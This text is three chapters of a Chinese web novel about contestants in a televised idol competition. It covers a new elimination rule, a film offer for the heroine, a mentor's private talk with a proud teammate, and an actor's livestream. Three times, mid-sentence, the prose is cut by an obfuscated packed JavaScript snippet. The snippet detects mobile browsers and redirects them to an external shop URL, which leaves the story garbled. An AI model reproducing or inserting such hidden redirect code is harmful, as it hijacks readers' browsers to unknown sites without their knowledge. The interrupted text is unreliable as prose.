昨天蒋方奇暂时给他们排的队形是,个人能力最强的李颂一和五夜音符队长宫一左一右站C位,李颂一旁边分别是商和林见微,宫旁边是杜之江和羽。 整个队伍男女错开,按照能力和年龄排序。 蒋方奇同时指出,位置没有最终固定,大家可以竞争上岗,如果在两周的训练过程中发现有人能力突出,那么就必须把C位让给他/她。 所以现在他们四个人正好占据右边三个位置和最左边的位置,中间空着商和李颂一。 几个人都默契地没有去叫李颂一,而是排成一排,流出两个人的位置,从第一个动作开始排练。 虽然一开始有些磕磕绊绊,不是你忘动作了就是我搞反了方向,但几个人都是悟性高记忆好的人,所以嘻嘻哈哈排了几遍,立刻跳得有模有样。 此刻正是早上的繁忙时段,许多人要么在去食堂的路上,要么刚从食堂出来准备去练舞室。 杜之江和宫进来的时候没有关门,外面路过的选手们纷纷驻足,看着看着叹为观止—— “他们不是B班的吗?为什么要跳《顶流生活》?” “你没听说啊,他们故意要加高难度,一定要挑战这个!” “啊???这也太艺高人胆大了叭???” “我的天啊,我《沉舟》都跳不明白,和他们不是一个物种的” “厉害厉害厉害,六个人铁定都会晋级啊!” “救命!为什么我和他们是一届的!” 几个人也听到了门外的评论,心里不由得沾沾自喜,跳得愈发卖力。 合练了几遍,几人感觉都不错,便决定停下来休息,杜之江赞叹地拍着林见微肩膀:“你真厉害,昨晚都没在场,今天就已经练得这么好了!” 宫也在一旁说:“但还是要注意休息啊,我看你脸色挺白的。” 林见微气喘吁吁地擦着汗——生病之后毕竟还是体虚:“没事,多喝点水就好了!” 上午10点有声乐课,大家利用一个小时的时间又合了几遍。 9:40的时候,大家都感觉有些疲累,决定利用这20分钟稍事休息一下,顺便提前出发,看看声乐教室在哪里。 然而就在大家收拾东西准备出门时,大喇叭里突然传出一连串警报声,教室门上方的警报灯突然狂闪红光,就好像楼房里突然着大火或者毒气大泄露一样。 大家着实吓了一跳,杜之江和林见微抱在一起尖叫不已。 大喇叭里传来广播的声音,冰冷古怪,一听就带了变音器: “ALERT!大家注意!” “下面我将宣布《星璨》新增加的一条规则。” 众人惊恐地对望着:新增加的规则?什么规则? 似乎是故意要玩弄大家情绪,抑或是很享受制造出来的紧张氛围,广播里的声音停顿了至少十秒,才缓缓道: “在这两周内,我们将开启考核机制。” “我们将对大家平时练习效果、课堂表现、练习态度、团队协作等进行打分,每周日进行综合评定。” “如果评定不达标,将得到降级甚至淘汰的处罚。” 警报声大得刺激人耳膜,但这丝毫压不住众人的抗议和哀嚎——不是说好了这两周是安全期,怎么还要面临降级甚至淘汰的风险?? 合着要是哪一天没练好,或者上课时哪个问题没回答好,就有可能卷铺盖走人?? 还有没有天理啊啊啊! 85.八十五 群情激奋间,大喇叭广播里又传来冰冷的声音:“下面请有疑问的选手们在一楼大厅集合,周落老师将进行集中答疑。” 说完之后,大喇叭就是一阵长长的无意义的电流声,然后彻底哑火了。 等了好久,确定大喇叭没再作妖,大家才一起嚎叫起来。 “天杀的节目组!!!” 抱着一肚子疑问和哀怨,人流如潮水一样挤出各个练舞室和教室的大门,拥到一楼大厅。 周落果然已经站在那里,颀长的身形杵在中间,脸上挂着一副三分悠哉三分同情三分歉意一分戏谑的笑。 他今天没画惯常的烟熏妆,而是淡妆出镜,穿着白T牛仔,整个人倒是显得清爽利落。 他拿着话筒,对着涌出来的众人说:“大家稍安勿躁,听我解释。” 人群中立刻抛出了各种问题:“怎么个降级/淘汰法?”“降级/淘汰率是多少?”“平时的分数评定究竟是怎么算的?” 无数问题从四面八方如炮弹一样抛向中间,恨不得把场子炸开。 周落倒是气定神闲,似乎对此情景早有心理准备。 他拍了拍话筒,示意大家安静。 “既然是竞技比赛,刺激一点才好玩好看。大家别着急,听我一一道来。” “首先,大家不用太过惊慌,因为只要大家认真上课认真练习,平时注重团结协作,就不会有太大风险。” “分数评定将分为四大类,第一个是练习效果,第二个是课堂表现,这两个将由你们的任课老师——舞蹈老师蒋方奇和声乐老师季清云打分。” “第三个是练习态度,第四个是团队协作,我们在练舞室、大厅、食堂等地方都安有摄像头,实时追踪记录大家的表现,所以这两项由幕后工作人员进行打分。” “这四项每一项都占25%,所以最后的评分结果是四项的平均分。” “当然,节目组保留对分数的最终调整权和解释权,必要的情况下会对分数进行调整,但一定会公示合理的解释。” 周落解释得比较清楚,规则听上去也算合理,所以人群中的喧闹暂时平息了下去。 一人举手问道:“究竟什么时候会降级,什么时候会淘汰呢?” 这声音异常熟悉,林见微定睛一看,是站在角落里的邓舒华。 联想到之前的热搜,奚落、嘲讽、愤怒、轻蔑的眼神立刻从四面八方射来,对她精准狙击。 哟呵,还嫌热搜闹得不够大,现在还要贴,可真不要脸。 周落倒是泰然自若,仿佛不认识她一样,笑道: “我们每个班都会产生一个排名,A-C班垫底的两名选手会降级到下一个评级,而D班的最后两名直接淘汰。” 此言一出,D班的人立刻瑟瑟发抖,三三两两抱成一团:“完了完了”“这周日就要回家了”“别啊,我好不容易进来了,不要赶我走啊!” 周落:“刚刚的过程会进行两次,所以总共会降级/淘汰16位选手。” 这话一落地,人群中立刻哀嚎一片:16位选手?这高达16%的降级/淘汰率也太可怕了吧!节目组是人吗?? 有人立刻发问:“可是我们不是以组为单位进行演出吗?每一组的人都是一个评级的,如果有一个人降级或者淘汰了,演出怎么办呢?” 周落:“那就调整队伍。比如,你们6个A班的人组成团体进行演出,但一个人在这周日的评定中被降级到B班,那么你们就只能调整队形,5个人完成演出。” “如果你们本来是6个C班的人进行演出,现在有两个从B班掉到C班的人,那么本着自愿原则,C班有1-2个组必须要接纳这两个人。” 人群中哗然一片,抗议声此起彼伏: “这也太难了吧??” “我们光是记住现在的动作和队形,就已经很困难了,再加上人员的不确定性,这也太不讲理了!” “节目组如果想让我们去死,就直说啊!” 周落又拍了拍话筒:“大家别急,这些困难,节目组自然是知道的,所以对于那些受到影响的组,节目组会在最终考核的时候给予额外加分鼓励。” “请大家信任节目组,放松心情,享受训练,享受舞台,规则是相对公平的,关键是踏踏实实做好每一次训练,认认真真对待身边每一位队友。” 说完,大厅上空突然响起一串叮咚清脆的铃声——那是10点钟的上课铃,几个班的学生要分别去上声乐课和舞蹈课了。 而后大厅通往二楼宿舍的楼梯上传来一声格外清晰的哈欠声,而后是缓慢的脚步声:咚、咚。 商一脸懵逼地看着众人,每一根蓬松的头发丝都惊讶地向上翘着,充满惺忪的眼睛瞬间瞪得老大。 众人也百脸懵逼地看着他:这是怎么回事,难不成他……刚醒??? 这是什么超绝松弛感? 场面略有些尴尬,商结巴地问道:“我……我们不是10点上课吗?怎么改集会了?” 众人:“………………” 宫觉得这实在是有些丢人,自己的队员这么松弛,实在是和四周热火朝天的紧张氛围格格不入。 但没办法,商就是这么个松弛人,天上下刀子也懒得跑快。 他连忙朝商疯狂打手势,用口型道:“先下来!一会儿跟你解释!” 商这才狐疑地一步一步走下台阶,在众人复杂目光的注视下走到宫旁边。 周落也是非常无奈,这人心也太大了,别的不说,就说刚刚那震人心弦的警报声,还不足以让人吓掉半条命,赶紧逃下来吗。 轻咳一声,他对着人群说:“我今天一整天都会在这里陪着大家,会在不同的地方四处转转,如果有什么疑问,欢迎随时来找我。” “哦对了,别忘了今天下午201室会进行广告面试,感兴趣的选手可以去试试。” 说完,他示意选手们赶紧会练舞室和教室,别耽误接下来的安排, 然而绝大多数的人还是留在原地,大声议论,有些选手理解得慢,问了周围人好几遍才明白新规则是怎么回事。 问完之后大厅内更乱了,不少选手直接表演了原地打滚,捶胸顿足,抱头痛哭。 林见微他们要往声乐教室去,结果四周混乱一片,找了半天也没找到,还是周落给他们指了路: “声乐教室在105,从这边过去就行。” 几人连忙道谢,105室门口挤满了哭天抢地哀嚎遍野的选手们,所以他们都没看见门上贴着的“声乐教室”四个大字。 就在他们往那边走的时候,身后突然传来周落的叫声:“大劈叉,你等一下!” 周落没有用话筒,而且是快步追来用只有几人能听见的音量喊的,再加上周围人都忙着咒骂新规,并没有太多人听见他说了什么。 林见微惊讶回头,与此同时脑子迅速运转起来。 他叫住她,多半是和《冬逝华年》的电影有关。 宫和杜之江等人都不明就里,疑惑地盯着周落,李颂一的目光更是一下子变深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16835232|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,多了些许意味深长。 周落走到林见微身前,示意其他人先去上课,大家只得在疑惑中走开,周落在林见微耳边低声道: “占用你几分钟时间可以吗,昨天我和文眉导演通了电话,有些事需要跟你说。” 林见微点点头,同时心跳迅速加快。 周落昨天特意去了录制现场,希望她参演《冬逝华年》,她也确实答应了。 但他俩商量好了,不代表文眉导演一定会点头同意。 再加上文导一向对演员的档期要求很严,不允许轧戏、不允许私下接别的工作离组,而她又在《星璨》…… 周落示意她跟他去食堂,林见微跟上去。 走进食堂,周落径直往后厨方向走去,林见微也急忙快步跟上。 食堂员工正三三两两地吃饭,见他二人一前一后行色匆匆地往里走,纷纷投来好奇而狐疑的目光。 周落走进后面的一个小办公室,见林见微进来,示意她把门虚掩上,先是笑了一下,然后径直说: “文眉导演同意了我的提议,正式邀请你出演《冬逝》的女主角。” 说着周落伸出手:“恭喜你,演员大劈叉。” 林见微内心狂喜地叫了一声,然后第一次非常郑重和认真地看着周落,轻轻握住他伸过来的手:“谢谢。” 周落:“但现在有一个坏消息,那就是剧组将在下周一到下周三进行剧本围读活动,全体演员都必须参加。” 林见微一下子僵住,心里有一块突然开始变冷。 一连走三天?那《星璨》的公演怎么办,宫和杜之江他们会怎么想她,李颂一又会怎样极尽冷嘲热讽? 见林见微秀眉长蹙,周落安慰道:“你别太担心,我这边尽力帮你争取一点时间——我昨天跟她说了,在面试角色之前你就已经先接了《星璨》的工作,所以这一段难免需要两头跑。” “我也问了你们组的安排,听说你们打算这一周集中练习《顶流生活》,然后下周练习剩下的两首曲目?” “你这周心无旁骛地好好练习,下周的两首曲子对你来说难度应该不算太大吧?请假三天再回来,应该也能赶得上。” 林见微听他句句都是为她着想,不由得十分感动,但还是苦笑道: “时间赶得实在是太不巧了,如果周一要剧本围读,我必须要提前几天开始读剧本,可是我这一周又分身乏术,每天24小时都要不停想着舞蹈动作……” 周落立刻安慰道:“别担心,我和蒋方奇关系好得很,如果需要,我可以让他为你另开小灶,或者你要是想避嫌,我再找个熟人给你单独指导。” 林见微:“谢谢,但现在最稀缺的其实是时间,两周准备《星璨》的三支舞蹈已经很仓促了,再加上中间还要分3-4天给《冬逝》,这几乎是不可能完成的任务。” 周落:“尽力就好,没有十全十美的人,我们也都没有时光倒流机。” 林见微轻叹一声,轻轻咬住嘴唇,没再说什么。 周落:“你快回去上课吧,电影和节目的事,我都帮你想想办法。” 回到声乐教室,课已经上了一半,林见微本想偷偷溜进去,但教室里带上老师就六个人,所以她一开门,大家纷纷回头。 声乐导师季清云倒是没怎么意外,只是笑着招呼她赶紧找个地方坐下。 看来周落提前跟他打过招呼。 林见微找了个最边沿的位置坐下,还没坐稳,旁边的羽立刻低声问道:“刚刚周落找你干嘛了?” 86.八十六 羽虽然压低了声音,但这个教室拢共就七个人,所以相当于公开问话。 众人的余光都集中过来。 林见微一边在心里苦笑,一边脑子飞速运转,搪塞道:“没什么,就是,呃,因为我初选的时候不是从D班升上来的,所以节目组想做个,采访。” “他把我拽过去,问问我想不想接受采访。” 羽信以为真,兴奋地说:“当然要去啊!” 林见微看着季清云,努力试图跟上他在讲什么——“我们来看这个g小调……”“降so和升fa合在一起……”“我们的演唱要从这个小节进入……” 发现这些都不太对位,林见微对羽低声说:“我跟他说我考虑考虑,所以我们现在讲到哪里了?” 11点钟,声乐课下课。 其实要上满一个小时,是应该拖十分钟堂的,但后面紧接着还有其他组的学生要上课,所以季清云只得歉意地让大家收拾东西离开。 大家走的时候,季清云叫住林见微,意味深长地说:“你的乐理基础还有待提高,回去之后多问多听,有不懂的可以下节课过来问我。” 林见微点头,心里明白季清云这是在极尽委婉地说:你声乐知识差极了,需要恶补。 她老脸一红,点头嗯了一声,然后快步逃了出去。 出了门,羽立刻穷追不舍地问道:“什么时候采访?” 他这么一问,只有李颂一充耳不闻,径直往练舞室走去,而组里其他人都好奇地看向她。 “呃,”林见微语塞,以手扶额模糊道,“下周吧。” 说完她轻叹一口气,羽立刻不理解地说:“怎么垂头丧气的,这是好事情啊!大家都巴不得多一点曝光度呢。” 林见微强笑道:“是,我就是太累了。” 这句话提醒了杜之江,她关切问道:“你还发烧吗?” 一语点醒梦中人,林见微的退烧药是早上6点吃的,现在已经过了5个多小时了,能感觉到药效在慢慢退却。 她吸溜了一下呼之欲出的鼻涕,嗓子瓮瓮地说:“没事,中午吃饭的时候再补一片。” 事实证明她还是大大低估了药效退却是时间和高估了自己的抵抗力。 声乐课结束后,几人回到练舞室继续排练《顶流生活》,这次大家试着加上了唱词,李颂一也屈尊和大家合练了几次。 总体来说效果还不错,如果林见微没有经常忘词和忘动作。 李颂一不耐地吼了几次,林见微默默地强迫自己集中注意力,但不知为什么,脑子里好像有一个厚障壁,完全隔绝了各个神经的互相交流。 早上明明记得很熟的动作,现在却想起了上面记不起下面,刚刚背熟的歌词,现在也通通断线了,各种背串词。 一个小时后,大家默默停止了排练,林见微沮丧地鞠躬道歉,说实在是对不起,她突然没有状态了。 羽、杜之江、宫早上看到了她的成果,纷纷表示没关系,还提醒她去午休一下。 李颂一哼了一声,甩下一个“你怎么这么没用”的眼神,扬着下巴走到一旁自己练习去了。 商没有说什么,只是打了个哈欠,拍了拍宫和羽的肩膀:“去吃饭?” 现在是中午12点10分,走廊和大厅里响起一片嘈杂,练舞室的门虚掩着,所以能清楚听见门外的欢笑声夹杂着赌咒声。 “你刚刚看见她的动作了吗,噗哈哈哈哈!笑死我了。” “就这还是乐盛头部选手呢,就这水平??” “听说他们不是实行魔鬼训练吗,怎么跳舞总是摔?而且还摔出不同花样来!” “唉那个新规真的是要烦死了!怎么办啊雯雯,我们要死定了!” “没事没事,尽力而为,尽力而为。” 正是吃饭高峰期,可以想见食堂人挤人的壮观场面,但经过一上午的训练大家着实饿了,肚子的咕咕叫声此起彼伏。 宫提议道:“咱们先去补充能量,然后小小休息一下,下午……两点集合?” 杜之江立刻点头表示同意,但商爆发出一声幽怨哀叹:“两点?午休只睡一个多小时?” 众人:“…………” 商委委屈屈说:“中午睡不饱,下午不精神。” 宫叹了一声,知道他的脾性,说道:“那你三点过来和我们汇合,不能再晚了,三点我们还有舞蹈课呢。” 商点头:“好吧,我尽力。” 食堂果然是人山人海,人声鼎沸,各种诱人的饭香混杂在吆喝声里,饿得前胸贴后背的众人眼冒金光,饿虎扑食一样争抢着排队打饭。 林见微蔫蔫的,提不起精神,刚刚明明已经很饿了,可是现在胃口却完全消失了,身体也变得如灌了铅一样沉重。 迈着肌肉酸涩的两条腿,她艰难地挤到了卖炒面的窗口,打包带走了一份,然后拖着笨重的身子往宿舍走。 上了二楼,她朝宿舍的方向拐弯,但没走几步就听见附近有熟悉的声音在讲话。 “这两天怎么样?” “还行吧,没太大难度。” “你的水平我信任,但要注意为人友善啊,不要只顾着自己训练,要多帮一帮队友。” “害,做那些浪费时间的事干什么!练好自己的不就完了。他们水平有限,帮了也是白帮。” “李颂一,你忘了我之前和你说的了?” “周落师哥,娱乐圈里这些明星,我只服你,你说的话我都尽力去做了,但是烂泥怎么抚还是扶不上墙……” “你试了吗?” “……我,我在心里试图试了……” “那就是没试,你又凭什么说他们都是烂泥呢?这里面谁比谁差?没错,你是有些天赋,但不代表其他人没潜力。” “可是我们只有两周时间,不够开发潜力……” “那也要试了才知道!你们组的人都很有能力,杜之江和宫都是和你一样,按照练习生的标准接受过五年以上的系统训练,商和羽虽然是半路出家,但也接受过三年左右的训练,而且之前每天晚上都团播跳舞。” “大劈叉基础稍微薄弱一些,但她悟性高,一点就透,可以只用短短几个月时间就达到别人训练几年才达到的效果。” “你们组的配置,比很多A班的还要好,你不要觉得自己降到B组是屈才了,他们之所以敢和你一起挑战《顶流生活》,是因为大家都有两把刷子,你自己好好想清楚!” 李颂一沉默不语,她和周落师出同门,她开始做练习生的时候,周落正朝音乐圈,公司给她安排的舞蹈老师和声乐老师恰好同时给周落上课,后来机缘巧合二人就熟识了。 李颂一虽然高傲霸气,但这都是基于她拥有高于普通人的天赋,其他人反复练习都学不会的动作,她随便练一下就游刃有余。 所以她向来眼高于顶,从不把其他人放眼里,觉得自己鹤立鸡群。 但是因此她也长期处于一种独孤求败的寂寞之中,说的话无人理解,懂的事无人分享,渐渐地恶性循环,她越来越封闭,变得不爱与人交流。 直到她遇到了周落。 这位长她许多的师兄竟然也拥有过人的天赋,她亲眼看着他短短一年就实现了从零基础到发专辑跳MV的惊人突破。 后来交谈得多了,她发现周落师兄聪明过人,悟性和能力甚至远超于她。 活了这么多年,李颂一没遇到过令她发自肺腑地佩服的人,周落是第一个。 而且周落不像其他人似的,总嫌弃她情商低。 所以地球上所有人说话她通通都是“你放屁我不听”的傲慢态度,只有周落的话,哪怕再逆耳,她也会认真思索,并且尽力做到。 现在周落告诫她要好好和队友相处,李颂一觉得:你还不如要了我的命。 但她向来佩服周落,既然周落都觉得她的队友有潜力,想来没错,毕竟周落比她聪明,能看到她看不到的事。 想了半天她终于郑重点头,轻声道:“好,那我听你的。” 而后她抬起头,狐疑地盯着周落的脸颊——那里似乎涂了格外厚的粉底液,好像有什么不对。 阳光透过窗子照射进来,隐隐能看到底下的一片红。 她下意识地上前一步,戳着周落脸颊问道:“你的脸怎么了,是过敏了吗?” 周落立刻闷哼一声后退一步,被戳到的地方燃起一阵火烧火燎的疼。 那是第一轮比赛的时候,被天杀的谷煜手里那劳什子芒星人灯牌划到的。 李颂一从十一二岁就认识周落了,平时没有男女之防,周落倒也不在意,只是极力忍着疼说道: “跟你说过多少次了,别毛手毛脚的,对我也就算了,可不能这样对待别人!” 李颂一噘起嘴:“别人我才不碰呢!脏了我的手。你究竟怎么了?是不是最近太累没休息好?” 周落顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16839542|184190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水推舟:“这几天一直连轴转,脸上起了红疹子。” 李颂一:“抹过敏药了吧?” 周落点头:“没事,过几天就好了。” 李颂一仔细观察着周落,是熟悉的三庭五眼,但就是透着一种古怪的感觉,她皱眉道:“我怎么感觉你这两天格外不对?” 周落知道李颂一感知力强,再加上二人相识于微时,李颂一见证过他许多无人问津的不堪时刻,也不想瞒着,便叹了口气说: “投资上出了一些事,公司运转和项目都出了点问题,你……你知道我在投资一部电影对吧?” 李颂一撇撇嘴:“《冬逝》,那部没前景的文艺片。” 周落苦笑:“怎么会没前景呢,那可是文眉导演的大作。但那个项目的资金周转最近遇到点问题,我最近得四处跑,拉投资。” 李颂一不满地说:“那部大烂片还值得费心力?别折腾了,有那些时间和钱,还不如多做几张专辑,拍几个MV呢。” 周落:“可我毕竟是演员出身,还是有情怀……” 李颂一:“呸,情怀能当饭吃吗?你是不是忘了当年有多惨,我当时在公司里当练习生,自己的钱和饭都不够,还得偷偷摸摸翻墙出去,分给流落街头的你。” 周落:“我那是走街串巷找面试机会,怎么就流落街头了?哎,咱们不聊这些了,你吃饭了吗,别光顾着练习了,赶紧去吧。” 李颂一:“行了,你自己也多注意身体吧,还等着你再大红大紫一点,提携我这个师妹呢。” 两人说完话就分头走了,李颂一回了寝室,周落从另一侧下楼。 林见微等声音彻底止息,才轻手轻脚地继续往楼上走。 一边走一边咋舌:谁能想到,李颂一和周落竟然是忘年交,而且彼此见证过各种风风雨雨。 这真是奇妙的缘分。 走到宿舍推开门,背对大门站着的,似乎正对着窗子沉思什么的李颂一被突如其来的动静吓了一跳。 林见微没什么精神,只是低声有气无力道:“对不起,我不太舒服,得回来躺着。” 李颂一皱着眉盯着她,又看看手里那份打包的炒面,似乎非常嫌弃。 但随即她还是收敛了神情,直接转身,径直越过她走了出去。 只不过当她打算合上门的时候,说了一句:“那你注意身体。” 大门合上,将一楼的喧闹彻底隔绝在外,宿舍里安静异常,明媚的阳光透过窗子挥洒进来,室内一片暖意。 林见微爬也似的来到床边,脸朝下扑上去,身体里的神经立刻舒展,一种说不出的舒适感酥麻地席卷全身。 下一秒她就无可救药、昏天黑地地睡了过去。 不知过了多久,当她昏昏沉沉醒转的时候,宿舍里还是空无一人。 林见微心里一惊,不知道自己是睡得太短了还是太长了。 脑子木木的,后背犹如被木板压了几个小时,稍微一动就酸痛一片。 她从手旁捡起手机,然后爆发出一阵大叫:“!!!” 已经3:50了。 林见微哀叫不已,她不敢相信,这一闭眼就是将近4个小时。 晴好的阳光透过窗子铺洒进来,但已经不似之前那么刺眼了,右前边幽幽飘来炒面的味道。 林见微:“…………合着饭也没吃药也没吃就昏倒了。” 内心“啊啊啊”地大叫着,林见微一骨碌翻起身,拖着酸痛的身体从床头的桌子上拿起水杯,然后从枕头底下翻出退烧药,和着一大口水咕咚咽下。 再次摁亮手机的时候她发现杜之江给她留了个消息: [劈叉,看你睡得太熟就没忍心叫你,你好好休息啊,我们先去练习了。] 林见微:“啊啊啊啊啊啊!杜杜你为什么这么心软!呜呜呜呜呜……” 但有一说一,因为忘吃退烧药就睡着了,林见微现在腰酸背痛,头脑昏沉,就算去了练舞室,也只能在地上爬。 而且舞蹈课是下午3-4点的,意味着现在去已经晚了。 于是她哀叹一声,重新躺回床铺。 既然这样,那就先看看《顶流生活》的视频,把上午练习的动作和下午可能教授的部分梳理一下。 再次打开手机,她突然发现,还有一条来自香蕉直播的提醒。 [您关注的演员时闻开始直播啦!快去看看吧~] 林见微:“!!” 87.八十七 毫不犹豫地,她点开链接,直通时闻的直播—— 直播刚刚开始,直播间里的观众寥寥无几,只有15人。 再看看他的粉丝数,好嘛,才100人。 这,比她刚直播的时候还惨啊。 虽然绝对数量上确实超过了她,但是,时闻赖好也是不大不小的明星啊,这么一点的数据,实在是太惨淡了! 林见微默默同情了一秒钟。 直播间里的时闻看上去有些紧张,脸上肌肉僵硬地向上提拉,强迫地扯出笑容。 “欢迎新进入直播间的……宝宝们。” 林见微:“!!” 没想到啊没想到,有生之年竟然有一天,她能听见老干部时闻口中吐出“宝宝”两个字。 直播间的观众都有些懵逼,不少人在底下评论问道:[你真的是时闻吗?] [是那个有山顶洞人,黑白灰老干部之称,的演员时闻?] 评论并不多,所以时闻能一条一条地读出来,然后对着镜头笑道:“是啊,就是我。” [那你的粉红花衬衣是怎么回事?] 时闻:“……啊,说到这件衣服,就不得不提到我们今天直播的主题了。” 说着他扭头朝里面喊了一声:“伶俐,到你了!” 刘伶俐一蹦一跳地从背景里面跑出来,开心地对着镜头打招呼:“大家好,我是热爱表演的刘伶俐,三生有幸拜了时闻前辈为师。” 然后手背外翻凑在嘴边,压低声音神秘道:“告诉大家一个天大的好消息,时闻老师认为,一只羊也是赶,两只羊也是放,所以一不做二不休,干脆开个直播,免费叫我和大家表演!” “惊不惊喜,意不意外!!!” 评论区立刻滚动起来:[真的吗,还有这等好事?] [你是时闻亲戚家的小孩吗?] [宝贝你怎么这么幸运??拜时闻为师这活动现在还有吗?] [友友们,这个账号真的是时闻的吗?为什么关注这么少啊,不会是盗版山寨货吧?] 时闻从镜头后面探头:“那么事不宜迟,我们就开始吧!” 刘伶俐一蹦一跳地回去,搬了一把椅子端坐到时闻对面,挺直后背,双手像模像样地规规矩矩放在膝头。 “那么时闻老师,开学第一课您给我们准备的是什么呢?”刘伶俐发问。 时闻:“这是个好问题,第一课我们先从简单的开始,比如,无实物表演。” 刘伶俐清澈的眼睛里冒出两个大大的问号:“…………这是从简单的开始?” 时闻自顾自地说下去:“烤红薯你吃过吗?” 刘伶俐点头:“嗯嗯,可好吃了,冬天放学的时候,最期待的就是在回家路上买一个,然后边走边啃,嗷呜……” 时闻打断她:“那我们现场来无实物表演一下,我演卖红薯的,你演买红薯的。” 刘伶俐看看时闻又看看直播的摄像头,欲言又止地问:“……你确定不再和观众寒暄一下?” 时闻正色道:“寒暄有什么意思?直接整活才有说服力。” 也是,与其白费口舌和观众解释自己是时闻,还不知真刀真枪直接拿出真本事。 刘伶俐点头,然后一脸茫然地看着他。 时闻:“开始吧。” 刘伶俐又点头,但就是不动,清澈的眼神里写满了迷茫。 时闻:“?” 刘伶俐这才不好意思地笑道:“我,我不知道该怎么开始,呃……” 时闻在虚空中擦了把汗,无奈道:“你把椅子搬开,从屋子那边走过来,假装走在放学路上,然后突然看到我在这里卖烤红薯。” 嘴上说着,手上已经摆好了烤红薯的动作。 刘伶俐这才具象化地明白了什么叫做——一出手就是行家。 时闻刚刚看似随意地坐在那里,但话一说完,体态神态立刻转变,佝偻着背,微皱着眉,眼神里满是呆滞沧桑,一手如在虚空中握住一柄蒲扇,左右缓缓扇动。 时闻不过二十来岁,但此刻竟好似突然老了二三十岁,背着满身风雪,独坐在寒冷的街道边,盯着那火红的炉子。 有那么一瞬间,刘伶俐竟真的穿越了似的,回到了冬江,回到了小时候放学路上,身临其境地看到了街角有个卖红薯的老人。 不知为何,她的眼眶里突然涌起泪花,这不真实的感受强烈冲击着她所有感官,刘伶俐盯着时闻好一会儿,才默默走到房间后面。 她像刚刚一样,一蹦一跳地走过来,双手在肩前方半扣,好像握住书包带。 来到时闻面前,她偏过头,笑着问道:“红薯怎么卖啊?” 时闻从炉边抬起头,现出一副慈祥温暖的笑:“三块一个。” 他的声音低沉浑厚,全不似他平时的音调,里面夹杂着说不出的辛酸沉重,一下子让人深刻感受到卖红薯的老人可能经历过的打击。 刘伶俐看着时闻那双眼睛,明明是年轻人的样子,却被苦涩和沉重填满,紧缩的额头和眼角好似凭空长出了道道皱纹。 时闻问道:“来一个?” 刘伶俐点头,从兜里掏出“钱”,递给时闻:“来一个。” 时闻一手放下蒲扇接过钱,一手从一旁地上拿起火钳,伸进冒着热气的炉子里面。 他面前当然没有钱、火钳、冒着热气的炉子,但不知为什么,他动作生动,细节到位,仿佛这一切都真实存在一样。 有那么几个瞬间,刘伶俐甚至觉得,会不会是自己眼睛有问题,这房间里其实摆了这些道具,只不过她看不见。 时闻把一个新鲜烤好的,滋滋冒着热气的红薯放到内里裹好一层纸的塑料袋里,递给刘伶俐,绽出一个舒展的笑容:“趁热吃。” 刘伶俐接了过来,吹了吹气,然后一口一口假装啃起红薯。 时闻笑眯眯地看着她演,直到隔空啃到手掌处,刘伶俐试探地抬起头,询问地看着时闻,好像在说:演到这里可以了吗? 时闻也看着她,好像在说:你觉得可以就可以。 刘伶俐便止住了,笑问:“你觉得我表演得还行吗?” 时闻沉默了好一阵,似乎在极力思索什么,屏幕上弹幕频频滚动,但他目不斜视,只是沉浸在搜刮语句中。 最终,他认真看着刘伶俐:“不怎么样。” 屏幕外的林见微:“……哈哈哈哈哈唉,这脾性怎么就不知道收敛收敛。” 刘伶俐满脸委屈和无辜,弹幕里也闪现出各种: [笑死我了] [说话好直白啊] [有一说一,确实不怎么样啊] [时闻老师看看我,我演得比她好] [你们不觉得时闻演得巨好吗?一秒入戏,零帧起手] [不愧是专业的演员,业务能力没的说] [鉴定完毕,这就是演员时闻本人] [啊啊啊啊直播间人好少啊!] 其实刚刚表演的时候,直播间的在线人数已经增加到80多人了,时闻的粉丝数也增加到150。 而且不少人分享了直播间,呼朋引伴,口口相传,没过几分钟,实时观看人数和粉丝数又蹭蹭往上涨。 时闻:“首先,你表演的究竟是小学生,中学生,还是大学生?” 刘伶俐眨眨眼:“初中生。” 时闻:“既然如此,你不觉得刚刚的动作和神态都稍微有些幼稚了?现在的孩子们都挺早熟的,初中生已经比较稳重了,不会是刚刚的状态。” 刘伶俐沉默了片刻,然后长长地哦了一声:“可我初中的时候就是那样子的。” 时闻:“…………” 底下的弹幕飘过一阵: [哈哈哈哈没毛病] [时闻吃瘪.jpg] [我初中的时候也不懂人事,天天傻乐呵] [我初中的时候已经是个一米八的糙汉了] [懂了,时闻自己上初中的时候就已经是成熟稳重的性格了] 时闻:“但是毕竟我们是面向普罗大众表演的,人物塑造要尽可能精准,符合大众认知。” 弹幕:[没事,我就喜欢幼稚的初中生][这样的初中生我们班有8个!][货真价实的初中生路过……表示她的表演还行啊] 刘伶俐指着屏幕:“你看,我是符合大家认知的。” 时闻:“…………我们来说下一个问题,我们表演的是冬天的时候,你在放学路上买了一个新鲜出炉的烤红薯,对吧?” 刘伶俐点点头,时闻续道:“那我给你的烤红薯是不是应该特别烫手,根本拿不住的感觉?” 刘伶俐想了想,回道:“可是隔着一层纸和塑料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 